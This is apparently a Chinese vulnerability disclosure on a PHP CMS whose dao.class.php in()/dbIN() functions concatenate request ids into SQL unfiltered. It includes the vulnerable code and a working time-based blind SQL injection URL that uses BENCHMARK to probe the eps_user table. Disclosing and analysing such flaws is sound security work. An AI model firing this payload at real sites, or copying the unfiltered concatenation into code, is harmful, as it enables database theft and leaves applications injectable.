### 简要描述:
rt
### 详细说明:
问题出在system/lib/dao/dao.class.php这个文件中
dao是一个sql语句拼接类,这个类有问题会导致多处注入,问题函数如下
```
public function in($ids)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$this->sql .= helper::dbIN($ids);
return $this;
}
```
我们跟进dbIN方法看看
```
static public function dbIN($ids)
{
if(is_array($ids)) return "IN ('" . join("','", $ids) . "')";
return "IN ('" . str_replace(',', "','", str_replace(' ', '',$ids)) . "')";
}
```
这也只是一个拼接操作,跟踪到这里已经完了
但是还未发现过滤?
是不是单引号就可以带进sql语句中了呢
我随便找一个点测试
[<img src="https://images.seebug.org/upload/201503/16215001181deb1033dcaf53515f0ace5b0dde0e.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16215001181deb1033dcaf53515f0ace5b0dde0e.jpg)
可以看到 单引号已经被带进来了
下面就是
写exp了
### 漏洞证明:
虽然这样in函数未过滤,但是有个很棘手的问题
根据代码我们知道in函数会给逗号左右都加一个单引号
经过我的不断折腾 终于还是突破了;
exp:
http://localhost/www/index.php?m=article&f=view&id=3')and/**/IF((select/**/account/**/from/**/eps_user/**/limit/**/1)='admin,1'=BENCHMARK('500000000,hello')='1,false')%23
这样就能成功延时注入了
暂无评论